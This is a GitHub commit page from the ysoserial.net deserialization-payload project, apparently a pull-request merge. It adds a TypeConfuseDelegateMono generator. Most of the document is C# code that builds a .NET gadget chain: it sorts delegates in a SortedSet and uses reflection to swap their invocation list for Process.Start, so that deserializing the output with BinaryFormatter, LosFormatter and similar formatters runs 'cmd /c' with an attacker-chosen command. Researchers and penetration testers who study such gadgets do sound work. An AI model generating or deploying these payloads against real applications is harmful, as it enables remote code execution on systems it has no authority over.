Skip to content

Commit

Permalink
Merge 16d07ba into 9e03c52
Browse files Browse the repository at this point in the history
  • Loading branch information
denandz committed Oct 21, 2019
2 parents 9e03c52 + 16d07ba commit 8723358
Show file tree
Hide file tree
Showing 2 changed files with 59 additions and 1 deletion.
57 changes: 57 additions & 0 deletions ysoserial/Generators/TypeConfuseDelegateMonoGenerator.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;

namespace ysoserial.Generators
{
class TypeConfuseDelegateMonoGenerator : GenericGenerator
{
public override string Name()
{
return "TypeConfuseDelegateMono";
}

public override string Description()
{
return "TypeConfuseDelegate gadget by James Forshaw - Tweaked to work with Mono";
}

public override List<string> SupportedFormatters()
{
return new List<string> { "BinaryFormatter", "ObjectStateFormatter", "NetDataContractSerializer", "LosFormatter" };
}

public override object Generate(string cmd, string formatter, Boolean test)
{
return Serialize(TypeConfuseDelegateGadget(cmd), formatter, test);
}

/* this can be used easily by the plugins as well */
public object TypeConfuseDelegateGadget(string cmd)
{
if (File.Exists(cmd))
{
Console.Error.WriteLine("Reading command from file " + cmd + " ...");
cmd = File.ReadAllText(cmd);
}
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("cmd");
set.Add("/c " + cmd);

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[0] = new Func<string, string, Process>(Process.Start);
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);

return set;
}

}
}
3 changes: 2 additions & 1 deletion ysoserial/ysoserial.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,7 @@
<Compile Include="Generators\TextFormattingRunPropertiesGenerator.cs" />
<Compile Include="Generators\PSObjectGenerator.cs" />
<Compile Include="Generators\TypeConfuseDelegateGenerator.cs" />
<Compile Include="Generators\TypeConfuseDelegateMonoGenerator.cs" />
<Compile Include="Generators\WindowsIdentityGenerator.cs" />
<Compile Include="Plugins\ActivatorUrlPlugin.cs" />
<Compile Include="Plugins\AltserializationPlugin.cs" />
Expand Down Expand Up @@ -118,4 +119,4 @@
<Target Name="AfterBuild">
</Target>
-->
</Project>
</Project>

0 comments on commit 8723358

Please sign in to comment.